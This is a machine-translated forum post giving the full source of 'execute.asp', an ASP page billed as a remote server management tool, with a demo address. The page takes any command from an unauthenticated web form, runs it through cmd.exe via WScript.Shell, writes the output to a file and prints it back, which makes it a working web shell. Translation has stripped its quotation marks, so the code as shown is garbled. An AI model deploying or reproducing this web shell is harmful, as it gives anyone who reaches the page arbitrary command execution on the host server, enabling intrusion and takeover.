Recently I am writing a remote server management tool (borrowing part of the code from ASE and adding remote
Execute commands, upload, services and other functions. ), got A Xin, ADAM, Chen'er, Ghost_happy,
I am very touched by the help from crazybird and many other netizens, so I plan to post all the original code after writing it.
Published and may be freely modified and distributed. All you have to do is upload the program to an ASP-enabled server.
It is worth noting that the program must be supported by FileSystemObject to run. The following is the remote execution command
Original code. Copy it and save it as execute.asp.
Demo address: http://210.160.4.24/scripts/execute.asp
It’s a crappy Japanese machine, so the Chinese characters will be garbled!
<html>
<head>
<meta http-equiv=Content-Language content=zh-cn>
<meta http-equiv=Content-Type content=text/html; charset=gb2312>
<meta name=GENERATOR content=Microsoft FrontPage 4.0>
<meta name=ProgId content=FrontPage.Editor.Document>
<title>Execute command</title>
<style>
<!--
table,body{ font-family: 宋体; font-size: 9pt }
a{ font-family: 宋体; font-size: 9pt; color: rgb(0,32,64);
text-decoration: none }
a:hover{ font-family: 宋体; color: rgb(255,0,0); text-decoration: none
}
a:visited{ color: rgb(128,0,0) }
-->
</style>
</head>
<body bgcolor=#000000 text=#C0C0C0>
<form method=POST action=execute.asp>
<p align=left>Enter the command to be executed: <input type=text name=ml
size=20 value=dir c:/ style=background-color: #C0C0C0; color:
#000000; border-style: solid; border-width: 1>
<input type=submit value=execute name=B1 style=background-color:
#C0C0C0; color: #000000; border: 1 groove #C0C0C0></p>
</form>
<%
ml=request.form(ml)
cmd=c:/winnt/system32/cmd.exe /c &ml& >c:/whoamI.txt 'Modify
Path whoamI.txt to a directory with write permissions
Set WShShell = Server.CreateObject(WScript.Shell)
RetCode = WShShell.Run(cmd, 1, True)
if RetCode = 0 Then
Response.write ml &
Response.write command executed successfully! &<br><br>
else
Response.write command execution failed! Insufficient permissions or the program cannot be run in DOS state
! &<br><br>
end if
'response.write cmd
functionhtmlencode(str)
dim result
dim l
if isNULL(str) then
htmlencode=
exit function
end if
l=len(str)
result=
dimi
for i = 1 to l
select case mid(str,i,1)
case <
result=result+<
case >
result=result+>
case chr(34)
result=result+
case&
result=result+&
case else
result=result+mid(str,i,1)
end select
next
htmlencode=result
end function
Set fs =CreateObject(Scripting.FileSystemObject)
Set thisfile = fs.OpenTextFile(c:/whoamI.txt, 1, False) 'Read the file, don't forget
Modify the path.
counter=0
do while not thisfile.atendofstream
counter=counter+1
thisline=htmlencode(thisfile.readline)
response.write thisline&<br>
loop
thisfile.Close
set fs=nothing
%>
</body>
</html>